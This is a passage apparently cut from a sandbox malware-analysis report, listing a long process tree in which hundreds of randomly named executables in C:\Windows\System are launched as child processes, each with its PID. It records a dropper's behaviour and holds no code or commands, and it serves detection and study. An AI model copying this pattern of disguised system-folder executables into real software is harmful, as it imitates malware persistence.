  C:\Windows\System\HabLjvA.exe
  2⤵
  PID:5720
- C:\Windows\System\zElEloI.exe
  C:\Windows\System\zElEloI.exe
  2⤵
  PID:5784
- C:\Windows\System\IsuSskr.exe
  C:\Windows\System\IsuSskr.exe
  2⤵
  PID:5824
- C:\Windows\System\qhxpcnB.exe
  C:\Windows\System\qhxpcnB.exe
  2⤵
  PID:5848
- C:\Windows\System\XkIrKtH.exe
  C:\Windows\System\XkIrKtH.exe
  2⤵
  PID:5872
- C:\Windows\System\NEmuaSA.exe
  C:\Windows\System\NEmuaSA.exe
  2⤵
  PID:5888
- C:\Windows\System\BtDrsKg.exe
  C:\Windows\System\BtDrsKg.exe
  2⤵
  PID:5904
- C:\Windows\System\vsVjhIB.exe
  C:\Windows\System\vsVjhIB.exe
  2⤵
  PID:5928
- C:\Windows\System\JAkkBiQ.exe
  C:\Windows\System\JAkkBiQ.exe
  2⤵
  PID:5944
- C:\Windows\System\ssYVnMZ.exe
  C:\Windows\System\ssYVnMZ.exe
  2⤵
  PID:5960
- C:\Windows\System\ISltash.exe
  C:\Windows\System\ISltash.exe
  2⤵
  PID:5976
- C:\Windows\System\XbOaFGe.exe
  C:\Windows\System\XbOaFGe.exe
  2⤵
  PID:5992
- C:\Windows\System\lKnWosO.exe
  C:\Windows\System\lKnWosO.exe
  2⤵
  PID:6016
- C:\Windows\System\wVNQUhD.exe
  C:\Windows\System\wVNQUhD.exe
  2⤵
  PID:6040
- C:\Windows\System\bFglKlY.exe
  C:\Windows\System\bFglKlY.exe
  2⤵
  PID:6056
- C:\Windows\System\LAvcIhH.exe
  C:\Windows\System\LAvcIhH.exe
  2⤵
  PID:6072
- C:\Windows\System\dKGinkw.exe
  C:\Windows\System\dKGinkw.exe
  2⤵
  PID:6088
- C:\Windows\System\EEjgzDP.exe
  C:\Windows\System\EEjgzDP.exe
  2⤵
  PID:6104
- C:\Windows\System\kepgXdX.exe
  C:\Windows\System\kepgXdX.exe
  2⤵
  PID:6120
- C:\Windows\System\NenpMxl.exe
  C:\Windows\System\NenpMxl.exe
  2⤵
  PID:6136
- C:\Windows\System\zaXyAeb.exe
  C:\Windows\System\zaXyAeb.exe
  2⤵
  PID:6164
- C:\Windows\System\QScPFgS.exe
  C:\Windows\System\QScPFgS.exe
  2⤵
  PID:6180
- C:\Windows\System\jKCwgFH.exe
  C:\Windows\System\jKCwgFH.exe
  2⤵
  PID:6196
- C:\Windows\System\zoAHDAB.exe
  C:\Windows\System\zoAHDAB.exe
  2⤵
  PID:6700
- C:\Windows\System\gbjXOkf.exe
  C:\Windows\System\gbjXOkf.exe
  2⤵
  PID:6724
- C:\Windows\System\tMkWDEe.exe
  C:\Windows\System\tMkWDEe.exe
  2⤵
  PID:6756
- C:\Windows\System\tCCpUsn.exe
  C:\Windows\System\tCCpUsn.exe
  2⤵
  PID:6780
- C:\Windows\System\KfMoxLN.exe
  C:\Windows\System\KfMoxLN.exe
  2⤵
  PID:6804
- C:\Windows\System\dhjtUbO.exe
  C:\Windows\System\dhjtUbO.exe
  2⤵
  PID:6828
- C:\Windows\System\qOawLBD.exe
  C:\Windows\System\qOawLBD.exe
  2⤵
  PID:6844
- C:\Windows\System\PrcFTal.exe
  C:\Windows\System\PrcFTal.exe
  2⤵
  PID:6860
- C:\Windows\System\fmDjWsl.exe
  C:\Windows\System\fmDjWsl.exe
  2⤵
  PID:6876
- C:\Windows\System\bJtuBvn.exe
  C:\Windows\System\bJtuBvn.exe
  2⤵
  PID:6892
- C:\Windows\System\LMgaYAT.exe
  C:\Windows\System\LMgaYAT.exe
  2⤵
  PID:6908
- C:\Windows\System\fDVgXJk.exe
  C:\Windows\System\fDVgXJk.exe
  2⤵
  PID:6924
- C:\Windows\System\FWxsyND.exe
  C:\Windows\System\FWxsyND.exe
  2⤵
  PID:6940
- C:\Windows\System\EmcoYMi.exe
  C:\Windows\System\EmcoYMi.exe
  2⤵
  PID:6956
- C:\Windows\System\bboIXnV.exe
  C:\Windows\System\bboIXnV.exe
  2⤵
  PID:6972
- C:\Windows\System\DmtmXKw.exe
  C:\Windows\System\DmtmXKw.exe
  2⤵
  PID:6988
- C:\Windows\System\EIuHPZu.exe
  C:\Windows\System\EIuHPZu.exe
  2⤵
  PID:7004
- C:\Windows\System\XJrielB.exe
  C:\Windows\System\XJrielB.exe
  2⤵
  PID:4536
- C:\Windows\System\UcaOhJv.exe
  C:\Windows\System\UcaOhJv.exe
  2⤵
  PID:4604
- C:\Windows\System\JdSaHSa.exe
  C:\Windows\System\JdSaHSa.exe
  2⤵
  PID:4668
- C:\Windows\System\HynuIYa.exe
  C:\Windows\System\HynuIYa.exe
  2⤵
  PID:2484
- C:\Windows\System\dgxpBDC.exe
  C:\Windows\System\dgxpBDC.exe
  2⤵
  PID:5444
- C:\Windows\System\WvwKFCz.exe
  C:\Windows\System\WvwKFCz.exe
  2⤵
  PID:5512
- C:\Windows\System\ApMMkSj.exe
  C:\Windows\System\ApMMkSj.exe
  2⤵
  PID:5612
- C:\Windows\System\SwtOAOL.exe
  C:\Windows\System\SwtOAOL.exe
  2⤵
  PID:5676
- C:\Windows\System\VsHtjnd.exe
  C:\Windows\System\VsHtjnd.exe
  2⤵
  PID:5868
- C:\Windows\System\idvDgUe.exe
  C:\Windows\System\idvDgUe.exe
  2⤵
  PID:6888
- C:\Windows\System\UFCTnOy.exe
  C:\Windows\System\UFCTnOy.exe
  2⤵
  PID:6208
- C:\Windows\System\eKXMhmq.exe
  C:\Windows\System\eKXMhmq.exe
  2⤵
  PID:5428
- C:\Windows\System\TRWPTqo.exe
  C:\Windows\System\TRWPTqo.exe
  2⤵
  PID:5300
- C:\Windows\System\KfhUZfi.exe
  C:\Windows\System\KfhUZfi.exe
  2⤵
  PID:5132
- C:\Windows\System\SgNwuQd.exe
  C:\Windows\System\SgNwuQd.exe
  2⤵
  PID:5112
- C:\Windows\System\rcEuJsY.exe
  C:\Windows\System\rcEuJsY.exe
  2⤵
  PID:4976
- C:\Windows\System\sSGRyuD.exe
  C:\Windows\System\sSGRyuD.exe
  2⤵
  PID:4796
- C:\Windows\System\fdEDHsF.exe
  C:\Windows\System\fdEDHsF.exe
  2⤵
  PID:4656
- C:\Windows\System\ubxSGUC.exe
  C:\Windows\System\ubxSGUC.exe
  2⤵
  PID:4520
- C:\Windows\System\UDQeKGs.exe
  C:\Windows\System\UDQeKGs.exe
  2⤵
  PID:4304
- C:\Windows\System\fRfePUE.exe
  C:\Windows\System\fRfePUE.exe
  2⤵
  PID:3436
- C:\Windows\System\HejpgJT.exe
  C:\Windows\System\HejpgJT.exe
  2⤵
  PID:3188
- C:\Windows\System\BCRNKOM.exe
  C:\Windows\System\BCRNKOM.exe
  2⤵
  PID:2792
- C:\Windows\System\rBxqgcJ.exe
  C:\Windows\System\rBxqgcJ.exe
  2⤵
  PID:2376
- C:\Windows\System\KuHdKxV.exe
  C:\Windows\System\KuHdKxV.exe
  2⤵
  PID:1756
- C:\Windows\System\DwnrUQj.exe
  C:\Windows\System\DwnrUQj.exe
  2⤵
  PID:2348
- C:\Windows\System\oOGwdnX.exe
  C:\Windows\System\oOGwdnX.exe
  2⤵
  PID:2516
- C:\Windows\System\PDXBJPO.exe
  C:\Windows\System\PDXBJPO.exe
  2⤵
  PID:864
- C:\Windows\System\qBsAZDg.exe
  C:\Windows\System\qBsAZDg.exe
  2⤵
  PID:3532
- C:\Windows\System\PXhVShM.exe
  C:\Windows\System\PXhVShM.exe
  2⤵
  PID:4136
- C:\Windows\System\NrbVJkg.exe
  C:\Windows\System\NrbVJkg.exe
  2⤵
  PID:5548
- C:\Windows\System\CxhIdTb.exe
  C:\Windows\System\CxhIdTb.exe
  2⤵
  PID:5748
- C:\Windows\System\rWYXgxA.exe
  C:\Windows\System\rWYXgxA.exe
  2⤵
  PID:5772
- C:\Windows\System\AlcftWL.exe
  C:\Windows\System\AlcftWL.exe
  2⤵
  PID:6228
- C:\Windows\System\gpFqhmI.exe
  C:\Windows\System\gpFqhmI.exe
  2⤵
  PID:6260
- C:\Windows\System\phZdnWa.exe
  C:\Windows\System\phZdnWa.exe
  2⤵
  PID:6348
- C:\Windows\System\ERavetw.exe
  C:\Windows\System\ERavetw.exe
  2⤵
  PID:6392
- C:\Windows\System\iGrAFBl.exe
  C:\Windows\System\iGrAFBl.exe
  2⤵
  PID:6512
- C:\Windows\System\zUDTNdr.exe
  C:\Windows\System\zUDTNdr.exe
  2⤵
  PID:6544
- C:\Windows\System\igyGGfq.exe
  C:\Windows\System\igyGGfq.exe
  2⤵
  PID:6564
- C:\Windows\System\yeNvKGP.exe
  C:\Windows\System\yeNvKGP.exe
  2⤵
  PID:6588
- C:\Windows\System\IgheJTJ.exe
  C:\Windows\System\IgheJTJ.exe
  2⤵
  PID:6608
- C:\Windows\System\mJfqxoo.exe
  C:\Windows\System\mJfqxoo.exe
  2⤵
  PID:6636
- C:\Windows\System\IAfkxpK.exe
  C:\Windows\System\IAfkxpK.exe
  2⤵
  PID:6736
- C:\Windows\System\ZmjGesO.exe
  C:\Windows\System\ZmjGesO.exe
  2⤵
  PID:6792
- C:\Windows\System\WCrfHZA.exe
  C:\Windows\System\WCrfHZA.exe
  2⤵
  PID:6900
- C:\Windows\System\NVEfpKs.exe
  C:\Windows\System\NVEfpKs.exe
  2⤵
  PID:5952
- C:\Windows\System\KWADVHF.exe
  C:\Windows\System\KWADVHF.exe
  2⤵
  PID:5728
- C:\Windows\System\EIhZWcX.exe
  C:\Windows\System\EIhZWcX.exe
  2⤵
  PID:5596
- C:\Windows\System\PzqREjY.exe
  C:\Windows\System\PzqREjY.exe
  2⤵
  PID:5424
- C:\Windows\System\AaNAAkF.exe
  C:\Windows\System\AaNAAkF.exe
  2⤵
  PID:5296
- C:\Windows\System\MzfVWXd.exe
  C:\Windows\System\MzfVWXd.exe
  2⤵
  PID:5160
- C:\Windows\System\zioriep.exe
  C:\Windows\System\zioriep.exe
  2⤵
  PID:5108
- C:\Windows\System\hldxqNQ.exe
  C:\Windows\System\hldxqNQ.exe
  2⤵
  PID:4972
- C:\Windows\System\HJKUjyl.exe
  C:\Windows\System\HJKUjyl.exe
  2⤵
  PID:4824
- C:\Windows\System\ChNXFdt.exe
  C:\Windows\System\ChNXFdt.exe
  2⤵
  PID:4684
- C:\Windows\System\lgINoZm.exe
  C:\Windows\System\lgINoZm.exe
  2⤵
  PID:4548
- C:\Windows\System\VSQtyTu.exe
  C:\Windows\System\VSQtyTu.exe
  2⤵
  PID:4400
- C:\Windows\System\uBZvYoh.exe
  C:\Windows\System\uBZvYoh.exe
  2⤵
  PID:4260
- C:\Windows\System\IodztPC.exe
  C:\Windows\System\IodztPC.exe
  2⤵
  PID:828
- C:\Windows\System\bbcDVXQ.exe
  C:\Windows\System\bbcDVXQ.exe
  2⤵
  PID:3716
- C:\Windows\System\CfYKBXL.exe
  C:\Windows\System\CfYKBXL.exe
  2⤵
  PID:3172
- C:\Windows\System\FRLkDkw.exe
  C:\Windows\System\FRLkDkw.exe
  2⤵
  PID:4000
- C:\Windows\System\tfBNSGH.exe
  C:\Windows\System\tfBNSGH.exe
  2⤵
  PID:3872
- C:\Windows\System\rXIQPHo.exe
  C:\Windows\System\rXIQPHo.exe
  2⤵
  PID:3696
- C:\Windows\System\xyHLbUe.exe
  C:\Windows\System\xyHLbUe.exe
  2⤵
  PID:3512
- C:\Windows\System\BMUjjbc.exe
  C:\Windows\System\BMUjjbc.exe
  2⤵
  PID:3348
- C:\Windows\System\ELpTrAe.exe
  C:\Windows\System\ELpTrAe.exe
  2⤵
  PID:3184
- C:\Windows\System\TRjatmc.exe
  C:\Windows\System\TRjatmc.exe
  2⤵
  PID:1040
- C:\Windows\System\TKSPmnK.exe
  C:\Windows\System\TKSPmnK.exe
  2⤵
  PID:2560
- C:\Windows\System\xsYHUDU.exe
  C:\Windows\System\xsYHUDU.exe
  2⤵
  PID:4700
- C:\Windows\System\mVIqihH.exe
  C:\Windows\System\mVIqihH.exe
  2⤵
  PID:4768
- C:\Windows\System\mrZAOax.exe
  C:\Windows\System\mrZAOax.exe
  2⤵
  PID:1728
- C:\Windows\System\bbrltEg.exe
  C:\Windows\System\bbrltEg.exe
  2⤵
  PID:4872
- C:\Windows\System\ZvsidNE.exe
  C:\Windows\System\ZvsidNE.exe
  2⤵
  PID:5096
- C:\Windows\System\eQROYPt.exe
  C:\Windows\System\eQROYPt.exe
  2⤵
  PID:2240
- C:\Windows\System\RBiRJUs.exe
  C:\Windows\System\RBiRJUs.exe
  2⤵
  PID:5716
- C:\Windows\System\BUVjlmu.exe
  C:\Windows\System\BUVjlmu.exe
  2⤵
  PID:5808
- C:\Windows\System\ahOUKDS.exe
  C:\Windows\System\ahOUKDS.exe
  2⤵
  PID:5648
- C:\Windows\System\EvXTrhg.exe
  C:\Windows\System\EvXTrhg.exe
  2⤵
  PID:932
- C:\Windows\System\dQsasgb.exe
  C:\Windows\System\dQsasgb.exe
  2⤵
  PID:2796
- C:\Windows\System\xLKIBFI.exe
  C:\Windows\System\xLKIBFI.exe
  2⤵
  PID:1152
- C:\Windows\System\TYSkJvD.exe
  C:\Windows\System\TYSkJvD.exe
  2⤵
  PID:7032
- C:\Windows\System\lquonpA.exe
  C:\Windows\System\lquonpA.exe
  2⤵
  PID:7048
- C:\Windows\System\nYXEFtL.exe
  C:\Windows\System\nYXEFtL.exe
  2⤵
  PID:7148
- C:\Windows\System\AUqQMdi.exe
  C:\Windows\System\AUqQMdi.exe
  2⤵
  PID:2616
- C:\Windows\System\xoYjfOe.exe
  C:\Windows\System\xoYjfOe.exe
  2⤵
  PID:4416
- C:\Windows\System\KsPRICf.exe
  C:\Windows\System\KsPRICf.exe
  2⤵
  PID:2544
- C:\Windows\System\XvihkXU.exe
  C:\Windows\System\XvihkXU.exe
  2⤵
  PID:3132
- C:\Windows\System\CflyKKu.exe
  C:\Windows\System\CflyKKu.exe
  2⤵
  PID:3056
- C:\Windows\System\SHdJXZo.exe
  C:\Windows\System\SHdJXZo.exe
  2⤵
  PID:1324
- C:\Windows\System\PjloKbc.exe
  C:\Windows\System\PjloKbc.exe
  2⤵
  PID:4484
- C:\Windows\System\wupefHH.exe
  C:\Windows\System\wupefHH.exe
  2⤵
  PID:6132
- C:\Windows\System\kombWjM.exe
  C:\Windows\System\kombWjM.exe
  2⤵
  PID:5396
- C:\Windows\System\uPoYkQs.exe
  C:\Windows\System\uPoYkQs.exe
  2⤵
  PID:4592
- C:\Windows\System\FKnWnuP.exe
  C:\Windows\System\FKnWnuP.exe
  2⤵
  PID:4892
- C:\Windows\System\IAuALRW.exe
  C:\Windows\System\IAuALRW.exe
  2⤵
  PID:5884
- C:\Windows\System\heiCEeo.exe
  C:\Windows\System\heiCEeo.exe
  2⤵
  PID:5632
- C:\Windows\System\alYLrlZ.exe
  C:\Windows\System\alYLrlZ.exe
  2⤵
  PID:5204
- C:\Windows\System\YkWAumD.exe
  C:\Windows\System\YkWAumD.exe
  2⤵
  PID:5008
- C:\Windows\System\sfacCXG.exe
  C:\Windows\System\sfacCXG.exe
  2⤵
  PID:4436
- C:\Windows\System\mMZflqR.exe
  C:\Windows\System\mMZflqR.exe
  2⤵
  PID:1924
- C:\Windows\System\cyPVLfJ.exe
  C:\Windows\System\cyPVLfJ.exe
  2⤵
  PID:916
- C:\Windows\System\FRiNleo.exe
  C:\Windows\System\FRiNleo.exe
  2⤵
  PID:5940
- C:\Windows\System\OELjOtL.exe
  C:\Windows\System\OELjOtL.exe
  2⤵
  PID:3988
- C:\Windows\System\EHPJtyq.exe
  C:\Windows\System\EHPJtyq.exe
  2⤵
  PID:3420
- C:\Windows\System\DGtKnbb.exe
  C:\Windows\System\DGtKnbb.exe
  2⤵
  PID:4068
- C:\Windows\System\pfjBKgA.exe
  C:\Windows\System\pfjBKgA.exe
  2⤵
  PID:3908
- C:\Windows\System\bSjilXj.exe
  C:\Windows\System\bSjilXj.exe
  2⤵
  PID:3732
- C:\Windows\System\mtcdRyz.exe
  C:\Windows\System\mtcdRyz.exe
  2⤵
  PID:3636
- C:\Windows\System\XDvbVsd.exe
  C:\Windows\System\XDvbVsd.exe
  2⤵
  PID:3476
- C:\Windows\System\dXGZazp.exe
  C:\Windows\System\dXGZazp.exe
  2⤵
  PID:1620
- C:\Windows\System\LOFxRft.exe
  C:\Windows\System\LOFxRft.exe
  2⤵
  PID:2708
- C:\Windows\System\kRQcbtB.exe
  C:\Windows\System\kRQcbtB.exe
  2⤵
  PID:3252
- C:\Windows\System\ZUUFtkM.exe
  C:\Windows\System\ZUUFtkM.exe
  2⤵
  PID:2316
- C:\Windows\System\RKJkfld.exe
  C:\Windows\System\RKJkfld.exe
  2⤵
  PID:2600
- C:\Windows\System\sCDpbCM.exe
  C:\Windows\System\sCDpbCM.exe
  2⤵
  PID:5988
- C:\Windows\System\VSfqmUP.exe
  C:\Windows\System\VSfqmUP.exe
  2⤵
  PID:2220
- C:\Windows\System\jmhEuPN.exe
  C:\Windows\System\jmhEuPN.exe
  2⤵
  PID:3528
- C:\Windows\System\cIwALgV.exe
  C:\Windows\System\cIwALgV.exe
  2⤵
  PID:2980
- C:\Windows\System\pQnCLSV.exe
  C:\Windows\System\pQnCLSV.exe
  2⤵
  PID:4608
- C:\Windows\System\XXNFrAo.exe
  C:\Windows\System\XXNFrAo.exe
  2⤵
  PID:6212
- C:\Windows\System\jcLedmT.exe
  C:\Windows\System\jcLedmT.exe
  2⤵
  PID:6224
- C:\Windows\System\plshkEj.exe
  C:\Windows\System\plshkEj.exe
  2⤵
  PID:5760
- C:\Windows\System\uUOAUwF.exe
  C:\Windows\System\uUOAUwF.exe
  2⤵
  PID:6364
- C:\Windows\System\cJjnPwX.exe
  C:\Windows\System\cJjnPwX.exe
  2⤵
  PID:6580
- C:\Windows\System\rPWHdKU.exe
  C:\Windows\System\rPWHdKU.exe
  2⤵
  PID:6384
- C:\Windows\System\juRgLVL.exe
  C:\Windows\System\juRgLVL.exe
  2⤵
  PID:6788
- C:\Windows\System\UDEVNkx.exe
  C:\Windows\System\UDEVNkx.exe
  2⤵
  PID:5768
- C:\Windows\System\RXhYkJA.exe
  C:\Windows\System\RXhYkJA.exe
  2⤵
  PID:6400
- C:\Windows\System\EFcyAPb.exe
  C:\Windows\System\EFcyAPb.exe
  2⤵
  PID:6508
- C:\Windows\System\KdKPpTU.exe
  C:\Windows\System\KdKPpTU.exe
  2⤵
  PID:6556
- C:\Windows\System\FxlckTS.exe
  C:\Windows\System\FxlckTS.exe
  2⤵
  PID:4332
- C:\Windows\System\qbfjrLC.exe
  C:\Windows\System\qbfjrLC.exe
  2⤵
  PID:6648
- C:\Windows\System\OWkomKH.exe
  C:\Windows\System\OWkomKH.exe
  2⤵
  PID:3764
- C:\Windows\System\RRAwfdr.exe
  C:\Windows\System\RRAwfdr.exe
  2⤵
  PID:4032
- C:\Windows\System\EoKFeQS.exe
  C:\Windows\System\EoKFeQS.exe
  2⤵
  PID:3728
- C:\Windows\System\hAoIEtR.exe
  C:\Windows\System\hAoIEtR.exe
  2⤵
  PID:6420
- C:\Windows\System\ouKszEz.exe
  C:\Windows\System\ouKszEz.exe
  2⤵
  PID:6596
- C:\Windows\System\wYFCPti.exe
  C:\Windows\System\wYFCPti.exe
  2⤵
  PID:2720
- C:\Windows\System\nwfvtJn.exe
  C:\Windows\System\nwfvtJn.exe
  2⤵
  PID:4748
- C:\Windows\System\zHswhYU.exe
  C:\Windows\System\zHswhYU.exe
  2⤵
  PID:4432
- C:\Windows\System\npfcBhK.exe
  C:\Windows\System\npfcBhK.exe
  2⤵
  PID:3248
- C:\Windows\System\Bhksmkr.exe
  C:\Windows\System\Bhksmkr.exe
  2⤵
  PID:2632
- C:\Windows\System\pXHhpJn.exe
  C:\Windows\System\pXHhpJn.exe
  2⤵
  PID:2588
- C:\Windows\System\WhZJJzi.exe
  C:\Windows\System\WhZJJzi.exe
  2⤵
  PID:2480
- C:\Windows\System\VCHYfBk.exe
  C:\Windows\System\VCHYfBk.exe
  2⤵
  PID:2352
- C:\Windows\System\grctVPB.exe
  C:\Windows\System\grctVPB.exe
  2⤵
  PID:5092
- C:\Windows\System\fawrUgZ.exe
  C:\Windows\System\fawrUgZ.exe
  2⤵
  PID:6968
- C:\Windows\System\cHrOkoV.exe
  C:\Windows\System\cHrOkoV.exe
  2⤵
  PID:6128
- C:\Windows\System\NNHlPhf.exe
  C:\Windows\System\NNHlPhf.exe
  2⤵
  PID:3236
- C:\Windows\System\ErfdaRN.exe
  C:\Windows\System\ErfdaRN.exe
  2⤵
  PID:1644
- C:\Windows\System\fKIsfko.exe
  C:\Windows\System\fKIsfko.exe
  2⤵
  PID:2700
- C:\Windows\System\qegbFGc.exe
  C:\Windows\System\qegbFGc.exe
  2⤵
  PID:2672
- C:\Windows\System\RszZwyS.exe
  C:\Windows\System\RszZwyS.exe
  2⤵
  PID:2428
- C:\Windows\System\pkRJfOb.exe
  C:\Windows\System\pkRJfOb.exe
  2⤵
  PID:2888
- C:\Windows\System\zmXYDhS.exe
  C:\Windows\System\zmXYDhS.exe
  2⤵
  PID:5440
- C:\Windows\System\GGzjytW.exe
  C:\Windows\System\GGzjytW.exe
  2⤵
  PID:3924
- C:\Windows\System\GIKraWL.exe
  C:\Windows\System\GIKraWL.exe
  2⤵
  PID:5712
- C:\Windows\System\BPVVPMb.exe
  C:\Windows\System\BPVVPMb.exe
  2⤵
  PID:5644
- C:\Windows\System\HpIwnQh.exe
  C:\Windows\System\HpIwnQh.exe
  2⤵
  PID:6192
- C:\Windows\System\mHsCisE.exe
  C:\Windows\System\mHsCisE.exe
  2⤵
  PID:6048
- C:\Windows\System\uqvmCyC.exe
  C:\Windows\System\uqvmCyC.exe
  2⤵
  PID:5968
- C:\Windows\System\OCLgoxN.exe
  C:\Windows\System\OCLgoxN.exe
  2⤵
  PID:6148
- C:\Windows\System\wlgWYSP.exe
  C:\Windows\System\wlgWYSP.exe
  2⤵
  PID:6768
- C:\Windows\System\RclkmKh.exe
  C:\Windows\System\RclkmKh.exe
  2⤵
  PID:6852
- C:\Windows\System\KEXomPm.exe
  C:\Windows\System\KEXomPm.exe
  2⤵
  PID:6952
- C:\Windows\System\JlfZfoN.exe
  C:\Windows\System\JlfZfoN.exe
  2⤵
  PID:7044
- C:\Windows\System\QsAxCHM.exe
  C:\Windows\System\QsAxCHM.exe
  2⤵
  PID:304
- C:\Windows\System\MGvsPOT.exe
  C:\Windows\System\MGvsPOT.exe
  2⤵
  PID:292
- C:\Windows\System\xIGhZuS.exe
  C:\Windows\System\xIGhZuS.exe
  2⤵
  PID:5460
- C:\Windows\System\sYtZDMr.exe
  C:\Windows\System\sYtZDMr.exe
  2⤵
  PID:2532
- C:\Windows\System\dpZODEP.exe
  C:\Windows\System\dpZODEP.exe
  2⤵
  PID:904
- C:\Windows\System\wVtaraD.exe
  C:\Windows\System\wVtaraD.exe
  2⤵
  PID:952
- C:\Windows\System\tyLrrQd.exe
  C:\Windows\System\tyLrrQd.exe
  2⤵
  PID:6176
- C:\Windows\System\svpSxNj.exe
  C:\Windows\System\svpSxNj.exe
  2⤵
  PID:4720
- C:\Windows\System\TKRXVWN.exe
  C:\Windows\System\TKRXVWN.exe
  2⤵
  PID:3200
- C:\Windows\System\KCMDMMY.exe
  C:\Windows\System\KCMDMMY.exe
  2⤵
  PID:2260
- C:\Windows\System\dzucdcE.exe
  C:\Windows\System\dzucdcE.exe
  2⤵
  PID:3220
- C:\Windows\System\rBDvEEb.exe
  C:\Windows\System\rBDvEEb.exe
  2⤵
  PID:2408
- C:\Windows\System\eGaUVUB.exe
  C:\Windows\System\eGaUVUB.exe
  2⤵
  PID:5536
- C:\Windows\System\QAdZiHj.exe
  C:\Windows\System\QAdZiHj.exe
  2⤵
  PID:6368
- C:\Windows\System\fXJBXKE.exe
  C:\Windows\System\fXJBXKE.exe
  2⤵
  PID:5984
- C:\Windows\System\PHkqWVM.exe
  C:\Windows\System\PHkqWVM.exe
  2⤵
  PID:5696
- C:\Windows\System\gCRyWDm.exe
  C:\Windows\System\gCRyWDm.exe
  2⤵
  PID:1812
- C:\Windows\System\BYruxyd.exe
  C:\Windows\System\BYruxyd.exe
  2⤵
  PID:3744
- C:\Windows\System\SMVyDTi.exe
  C:\Windows\System\SMVyDTi.exe
  2⤵
  PID:3668
- C:\Windows\System\zTyNDlM.exe
  C:\Windows\System\zTyNDlM.exe
  2⤵
  PID:3300
- C:\Windows\System\BAhEpSt.exe
  C:\Windows\System\BAhEpSt.exe
  2⤵
  PID:1876
- C:\Windows\System\wQqThQf.exe
  C:\Windows\System\wQqThQf.exe
  2⤵
  PID:5736
- C:\Windows\System\eGbXmDe.exe
  C:\Windows\System\eGbXmDe.exe
  2⤵
  PID:6532
- C:\Windows\System\gAGPHZO.exe
  C:\Windows\System\gAGPHZO.exe
  2⤵
  PID:5628
- C:\Windows\System\kcbkqcW.exe
  C:\Windows\System\kcbkqcW.exe
  2⤵
  PID:4588
- C:\Windows\System\anrqKzy.exe
  C:\Windows\System\anrqKzy.exe
  2⤵
  PID:4140
- C:\Windows\System\ZQgdovv.exe
  C:\Windows\System\ZQgdovv.exe
  2⤵
  PID:5880
- C:\Windows\System\fBKBnfX.exe
  C:\Windows\System\fBKBnfX.exe
  2⤵
  PID:2120
- C:\Windows\System\SJJqBxC.exe
  C:\Windows\System\SJJqBxC.exe
  2⤵
  PID:5832
- C:\Windows\System\LefywDT.exe
  C:\Windows\System\LefywDT.exe
  2⤵
  PID:6840
- C:\Windows\System\XYJhSyS.exe
  C:\Windows\System\XYJhSyS.exe
  2⤵
  PID:3904
- C:\Windows\System\xkuRajy.exe
  C:\Windows\System\xkuRajy.exe
  2⤵
  PID:6204
- C:\Windows\System\GePZqGb.exe
  C:\Windows\System\GePZqGb.exe
  2⤵
  PID:6964
- C:\Windows\System\DhTkOgB.exe
  C:\Windows\System\DhTkOgB.exe
  2⤵
  PID:6172
- C:\Windows\System\azmICCD.exe
  C:\Windows\System\azmICCD.exe
  2⤵
  PID:5812
- C:\Windows\System\sipVbuk.exe
  C:\Windows\System\sipVbuk.exe
  2⤵
  PID:6112
- C:\Windows\System\JvlaMiN.exe
  C:\Windows\System\JvlaMiN.exe
  2⤵
  PID:6980
- C:\Windows\System\WIaABuC.exe
  C:\Windows\System\WIaABuC.exe
  2⤵
  PID:4372
- C:\Windows\System\nhetSnV.exe
  C:\Windows\System\nhetSnV.exe
  2⤵
  PID:5284
- C:\Windows\System\rQZbIFF.exe
  C:\Windows\System\rQZbIFF.exe
  2⤵
  PID:3876
- C:\Windows\System\GgwfbdZ.exe
  C:\Windows\System\GgwfbdZ.exe
  2⤵
  PID:5756
- C:\Windows\System\cqVfXvT.exe
  C:\Windows\System\cqVfXvT.exe
  2⤵
  PID:1940
- C:\Windows\System\xGyfqPL.exe
  C:\Windows\System\xGyfqPL.exe
  2⤵
  PID:3780
- C:\Windows\System\FhpZOub.exe
  C:\Windows\System\FhpZOub.exe
  2⤵
  PID:5044
- C:\Windows\System\TweOehK.exe
  C:\Windows\System\TweOehK.exe
  2⤵
  PID:2928
- C:\Windows\System\uJUiwuO.exe
  C:\Windows\System\uJUiwuO.exe
  2⤵
  PID:1920
- C:\Windows\System\FiEANIA.exe
  C:\Windows\System\FiEANIA.exe
  2⤵
  PID:7172
- C:\Windows\System\zJYZmHZ.exe
  C:\Windows\System\zJYZmHZ.exe
  2⤵
  PID:7192
- C:\Windows\System\ZrJKKFV.exe
  C:\Windows\System\ZrJKKFV.exe
  2⤵
  PID:7212
- C:\Windows\System\uFdbHDx.exe
  C:\Windows\System\uFdbHDx.exe
  2⤵
  PID:7228
- C:\Windows\System\woYnhgi.exe
  C:\Windows\System\woYnhgi.exe
  2⤵
  PID:7244
- C:\Windows\System\hDdBUhT.exe
  C:\Windows\System\hDdBUhT.exe
  2⤵
  PID:7264
- C:\Windows\System\XqvspAg.exe
  C:\Windows\System\XqvspAg.exe
  2⤵
  PID:7280
- C:\Windows\System\LPbaaHJ.exe
  C:\Windows\System\LPbaaHJ.exe
  2⤵
  PID:7296
- C:\Windows\System\SgdnplB.exe
  C:\Windows\System\SgdnplB.exe
  2⤵
  PID:7424
- C:\Windows\System\sTBAlDu.exe
  C:\Windows\System\sTBAlDu.exe
  2⤵
  PID:7440
- C:\Windows\System\kHFjmyt.exe
  C:\Windows\System\kHFjmyt.exe
  2⤵
  PID:7456
- C:\Windows\System\WLXGizP.exe
  C:\Windows\System\WLXGizP.exe
  2⤵
  PID:7472
- C:\Windows\System\oKcrcYR.exe
  C:\Windows\System\oKcrcYR.exe
  2⤵
  PID:7488
- C:\Windows\System\KgrMyYt.exe
  C:\Windows\System\KgrMyYt.exe
  2⤵
  PID:7504
- C:\Windows\System\EbGQQTr.exe
  C:\Windows\System\EbGQQTr.exe
  2⤵
  PID:7520
- C:\Windows\System\pSJMbhX.exe
  C:\Windows\System\pSJMbhX.exe
  2⤵
  PID:7536
- C:\Windows\System\TCSvzwi.exe
  C:\Windows\System\TCSvzwi.exe
  2⤵
  PID:7552
- C:\Windows\System\pAxZraW.exe
  C:\Windows\System\pAxZraW.exe
  2⤵
  PID:7568
- C:\Windows\System\sVYTGtv.exe
  C:\Windows\System\sVYTGtv.exe
  2⤵
  PID:7584
- C:\Windows\System\ssYIUTX.exe
  C:\Windows\System\ssYIUTX.exe
  2⤵
  PID:7604
- C:\Windows\System\OEmDUMn.exe
  C:\Windows\System\OEmDUMn.exe
  2⤵
  PID:7620
- C:\Windows\System\VaWbtKT.exe
  C:\Windows\System\VaWbtKT.exe
  2⤵
  PID:7636
- C:\Windows\System\nIAwSHD.exe
  C:\Windows\System\nIAwSHD.exe
  2⤵
